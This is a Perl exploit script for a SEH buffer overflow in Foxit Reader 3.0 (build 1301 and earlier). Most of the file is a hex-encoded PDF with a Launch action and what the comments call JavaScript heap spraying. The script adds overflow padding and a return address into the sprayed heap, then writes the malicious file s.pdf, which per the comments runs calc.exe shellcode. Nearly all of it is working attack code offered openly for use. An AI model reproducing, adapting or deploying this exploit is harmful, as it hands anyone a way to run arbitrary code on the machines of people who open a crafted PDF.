#!/usr/bin/perl # # Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit (Universal) # ------------------------------------------------------------------------ # Exploit by SkD (skdrat@hotmail.com) # # A SEH overflow occurs in this vulnerability in the popular # Foxit Reader. The latest build (1506) is not affected but # previous are. SafeSEH is a bitch in this one, but nothing # is impossible :). # # UPDATE: I have implemented Heap Spraying by JavaScript to # make it universal :). The current shellcode is to execute # calc.exe. # # Exploit written for Windows XP SP3 (should work on other # versions). # # Credits to CORE Sec. # # Note: Author is not responsible for any damage done with this. use strict; use warnings; my $pdf_data1 = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0D\x0A\x25\xA1\xB3\xC5\xD7\x0D\x0A\x31\x20\x30\x20\x6F". "\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x50\x61\x67\x65\x2F\x50\x61\x72\x65\x6E". "\x74\x20\x34\x20\x30\x20\x52\x20\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36\x20\x30". "\x20\x52\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20". "\x38\x34\x32\x5D\x2F\x47\x72\x6F\x75\x70\x3C\x3C\x2F\x53\x2F\x54\x72\x61\x6E\x73\x70\x61". "\x72\x65\x6E\x63\x79\x2F\x43\x53\x2F\x44\x65\x76\x69\x63\x65\x52\x47\x42\x2F\x49\x20\x74". "\x72\x75\x65\x3E\x3E\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x32\x20\x30\x20\x52\x20\x2F". "\x41\x6E\x6E\x6F\x74\x73\x5B\x20\x32\x34\x20\x30\x20\x52\x20\x20\x32\x35\x20\x30\x20\x52". "\x20\x20\x39\x20\x30\x20\x52\x20\x5D\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32". "\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x33\x20\x30\x20". "\x52\x20\x2F\x46\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E". "\x3E\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x33\xD0\x33\x54\x28\xE7\x2A\x54\x30\x50\x30". "\x00\xB2\x4C\x2D\x4D\xF5\x8C\x15\x2C\x4C\x0C\xF5\x2C\x15\x8A\x52\x15\xC2\xB5\x14\xF2\xB8". "\x02\x15\x00\x87\xEB\x07\x8A\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E". "\x64\x6F\x62\x6A\x0D\x0A\x33\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x20\x34\x32\x0D\x0A\x65\x6E". "\x64\x6F\x62\x6A\x0D\x0A\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65". "\x2F\x50\x61\x67\x65\x73\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36\x20\x30\x20\x52". "\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34". "\x32\x5D\x2F\x4B\x69\x64\x73\x5B\x20\x31\x20\x30\x20\x52\x20\x5D\x2F\x43\x6F\x75\x6E\x74". "\x20\x31\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x35\x20\x30\x20\x6F\x62\x6A\x0D". "\x0A\x3C\x3C\x2F\x5A\x69\x54\x69\x20\x31\x38\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E". "\x64\x6F\x62\x6A\x0D\x0A\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x46\x6F\x6E\x74". "\x20\x35\x20\x30\x20\x52\x20\x2F\x50\x72\x6F\x63\x53\x65\x74\x5B\x2F\x50\x44\x46\x2F\x54". "\x65\x78\x74\x5D\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x37\x20\x30\x20\x6F\x62". "\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x43\x61\x74\x61\x6C\x6F\x67\x2F\x50\x61\x67". "\x65\x73\x20\x34\x20\x30\x20\x52\x20\x2F\x4F\x70\x65\x6E\x41\x63\x74\x69\x6F\x6E\x5B\x20". "\x31\x20\x30\x20\x52\x20\x2F\x58\x59\x5A\x20\x6E\x75\x6C\x6C\x20\x6E\x75\x6C\x6C\x20\x30". "\x5D\x2F\x4C\x61\x6E\x67\x28\x65\x6E\x2D\x55\x53\x29\x2F\x4E\x61\x6D\x65\x73\x20\x32\x38". "\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x38\x20\x30\x20\x6F". "\x62\x6A\x0D\x0A\x3C\x3C\x2F\x41\x75\x74\x68\x6F\x72\x28\xFE\xFF\x00\x6D\x00\x61\x00\x72". "\x00\x63\x00\x69\x00\x61\x00\x6E\x00\x6F\x29\x2F\x43\x72\x65\x61\x74\x6F\x72\x28\xFE\xFF". "\x00\x57\x00\x72\x00\x69\x00\x74\x00\x65\x00\x72\x29\x2F\x50\x72\x6F\x64\x75\x63\x65\x72". "\x28\xFE\xFF\x00\x4F\x00\x70\x00\x65\x00\x6E\x00\x4F\x00\x66\x00\x66\x00\x69\x00\x63\x00". "\x65\x00\x2E\x00\x6F\x00\x72\x00\x67\x00\x20\x00\x33\x00\x2E\x00\x30\x29\x2F\x43\x72\x65". "\x61\x74\x69\x6F\x6E\x44\x61\x74\x65\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34". "\x34\x35\x34\x39\x2D\x30\x32\x27\x30\x30\x27\x29\x2F\x4D\x6F\x64\x44\x61\x74\x65\x28\x44". "\x3A\x32\x30\x30\x39\x30\x33\x31\x32\x32\x32\x30\x32\x34\x33\x2D\x30\x38\x27\x30\x30\x27". "\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x39\x20\x30\x20\x6F\x62\x6A\x0D\x0A". "\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x6E\x6E\x6F\x74\x2F\x53\x75\x62\x74\x79\x70\x65\x2F". "\x53\x63\x72\x65\x65\x6E\x2F\x50\x20\x31\x20\x30\x20\x52\x20\x2F\x4D\x28\x44\x3A\x32\x30". "\x30\x39\x30\x32\x31\x39\x31\x34\x34\x37\x35\x36\x2D\x30\x32\x27\x30\x30\x27\x29\x2F\x46". "\x20\x34\x2F\x52\x65\x63\x74\x5B\x20\x32\x30\x35\x2E\x31\x35\x33\x20\x38\x30\x36\x2E\x31". "\x38\x32\x20\x33\x33\x35\x2E\x32\x39\x31\x20\x38\x33\x33\x2E\x34\x37\x32\x5D\x2F\x42\x53". "\x3C\x3C\x2F\x53\x2F\x53\x2F\x57\x20\x31\x3E\x3E\x2F\x42\x45\x3C\x3C\x2F\x53\x2F\x53\x3E". "\x3E\x2F\x4D\x4B\x3C\x3C\x2F\x42\x43\x5B\x20\x30\x20\x30\x20\x31\x5D\x2F\x52\x20\x30\x2F". "\x49\x46\x3C\x3C\x2F\x53\x57\x2F\x41\x2F\x53\x2F\x41\x2F\x46\x42\x20\x66\x61\x6C\x73\x65". "\x2F\x41\x5B\x20\x30\x2E\x35\x20\x30\x2E\x35\x5D\x3E\x3E\x3E\x3E\x2F\x41\x50\x3C\x3C\x2F". "\x4E\x20\x31\x30\x20\x30\x20\x52\x20\x3E\x3E\x2F\x54\x28\x63\x75\x61\x6C\x71\x75\x69\x65". "\x72\x61\x29\x2F\x41\x20\x31\x32\x20\x30\x20\x52\x20\x2F\x41\x41\x20\x31\x37\x20\x30\x20". "\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x30\x20\x30\x20\x6F\x62\x6A". "\x0D\x0A\x3C\x3C\x2F\x4D\x61\x74\x72\x69\x78\x5B\x20\x31\x20\x30\x20\x30\x20\x31\x20\x30". "\x20\x30\x5D\x2F\x42\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x31\x33\x30\x2E\x31\x33\x39\x20". "\x32\x37\x2E\x32\x38\x39\x37\x5D\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x3C\x3C\x2F\x45". "\x78\x74\x47\x53\x74\x61\x74\x65\x3C\x3C\x2F\x49\x6D\x61\x67\x65\x4F\x70\x61\x63\x69\x74". "\x79\x20\x31\x31\x20\x30\x20\x52\x20\x3E\x3E\x3E\x3E\x2F\x4C\x65\x6E\x67\x74\x68\x20\x35". "\x34\x2F\x46\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E\x3E". "\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x2B\xE4\x2A\xE4\x32\x50\x00\xC1\xA2\x74\x30\xC3". "\xD0\xD8\x40\xCF\xD0\xD8\x52\xC1\xC8\x5C\xCF\xC8\xC2\xD2\x5C\xA1\x28\x95\xCB\x50\x01\x08". "\x8D\x2C\x20\xC2\xA6\x70\xE1\x34\x2D\xAE\x40\x20\x04\x00\xBD\x52\x0D\x43\x0D\x0A\x65\x6E". "\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x31\x20\x30\x20". "\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x45\x78\x74\x47\x53\x74\x61\x74\x65". "\x2F\x43\x41\x20\x31\x2F\x63\x61\x20\x31\x2F\x41\x49\x53\x20\x66\x61\x6C\x73\x65\x3E\x3E". "\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C". "\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\x69\x6F\x6E\x2F\x53\x2F\x52\x65\x6E\x64\x69\x74\x69". "\x6F\x6E\x2F\x4F\x50\x20\x34\x2F\x41\x4E\x20\x39\x20\x30\x20\x52\x20\x2F\x52\x20\x31\x33". "\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x33\x20\x30\x20". "\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x52\x2F\x43\x20\x31\x34\x20\x30\x20\x52\x20". "\x2F\x4E\x28\x63\x75\x61\x6C\x71\x75\x69\x65\x72\x61\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F". "\x62\x6A\x0D\x0A\x31\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x43\x44". "\x2F\x43\x54\x28\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x66\x75\x74\x75\x72\x65". "\x73\x70\x6C\x61\x73\x68\x29\x2F\x50\x3C\x3C\x2F\x54\x46\x28\x54\x45\x4D\x50\x41\x43\x43". "\x45\x53\x53\x29\x3E\x3E\x2F\x44\x20\x31\x35\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E". "\x64\x6F\x62\x6A\x0D\x0A\x31\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70". "\x65\x2F\x46\x69\x6C\x65\x73\x70\x65\x63\x2F\x46\x28\x63\x75\x61\x6C\x71\x75\x69\x65\x72". "\x61\x29\x2F\x46\x53\x2F\x55\x52\x4C\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31". "\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\x69\x6F". "\x6E\x2F\x53\x2F\x4C\x61\x75\x6E\x63\x68\x2F\x46\x3C\x3C\x2F\x46\x28\x2F\x43\x2F"; my $pdf_data2 = "\x29\x3E\x3E\x2F\x4E\x65\x77\x57\x69\x6E\x64\x6F\x77\x20\x74\x72\x75\x65\x3E\x3E\x0D\x0A". "\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x37\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x50". "\x56\x20\x31\x36\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31". "\x38\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x46\x6F\x6E\x74\x2F". "\x53\x75\x62\x74\x79\x70\x65\x2F\x54\x79\x70\x65\x31\x2F\x42\x61\x73\x65\x46\x6F\x6E\x74". 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"\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x33\x32\x20". "\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x36\x38\x20\x30\x30". "\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x35\x32\x32\x20\x30\x30\x30\x30". "\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x36\x33\x33\x20\x30\x30\x30\x30\x30\x20". "\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x38\x32\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0D". "\x0A\x30\x30\x30\x30\x30\x30\x31\x30\x39\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30". "\x30\x30\x30\x30\x30\x31\x33\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30". "\x30\x30\x30\x31\x33\x37\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30". "\x30\x31\x34\x34\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31". "\x35\x30\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x35\x39". "\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x36\x34\x39\x20". "\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x37\x31\x37\x31\x20\x30\x30". "\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x37\x32\x30\x36\x20\x30\x30\x30\x30". "\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x37\x33\x30\x36\x20\x30\x30\x30\x30\x30\x20". "\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x37\x33\x34\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D". "\x0A\x30\x30\x30\x30\x30\x30\x37\x36\x33\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30". "\x30\x30\x30\x30\x30\x37\x36\x37\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30". "\x30\x30\x30\x37\x37\x31\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30". "\x30\x38\x30\x35\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x38". "\x33\x38\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x39\x35\x31". "\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x38\x36\x34\x31\x20". "\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x38\x35\x39\x38\x20\x30\x30". "\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x38\x35\x36\x30\x20\x30\x30\x30\x30". "\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x38\x35\x32\x30\x20\x30\x30\x30\x30\x30\x20". "\x6E\x0D\x0A\x74\x72\x61\x69\x6C\x65\x72\x0D\x0A\x3C\x3C\x2F\x52\x6F\x6F\x74\x20\x37\x20". "\x30\x20\x52\x20\x2F\x49\x6E\x66\x6F\x20\x38\x20\x30\x20\x52\x20\x2F\x49\x44\x5B\x28\xDF". "\xB0\x2B\xEC\xF3\x6B\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x28\xDF\xB0\x2B\xEC\xF3". "\x6B\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x5D\x2F\x44\x6F\x63\x43\x68\x65\x63\x6B". "\x73\x75\x6D\x2F\x37\x36\x33\x36\x30\x32\x39\x46\x42\x32\x42\x32\x46\x44\x32\x39\x42\x43". "\x33\x34\x41\x42\x43\x33\x32\x43\x46\x34\x35\x42\x38\x46\x2F\x53\x69\x7A\x65\x20\x33\x31". "\x3E\x3E\x0D\x0A\x73\x74\x61\x72\x74\x78\x72\x65\x66\x0D\x0A\x39\x35\x37\x30\x0D\x0A\x25". "\x25\x45\x4F\x46\x0D\x0A"; #Now you cannot modify the shellcode in this Perl script but in the PDF's JavaScript. #The set shellcode is calc.exe shellcode (alpha2). my $overflow1 = "\x41" x 1346; my $overflow2 = "\x41" x 4096; my $sehjmp = "SkD"; # ;) my $sehret = "\xf1\xf1\xcc\x02"; # 0x02ccf1f1 - heap sprayed block open (my $pdf, "> s.pdf"); binmode $pdf; print $pdf $pdf_data1. $overflow1.$sehjmp.$sehret.$overflow2. $pdf_data2; close $pdf;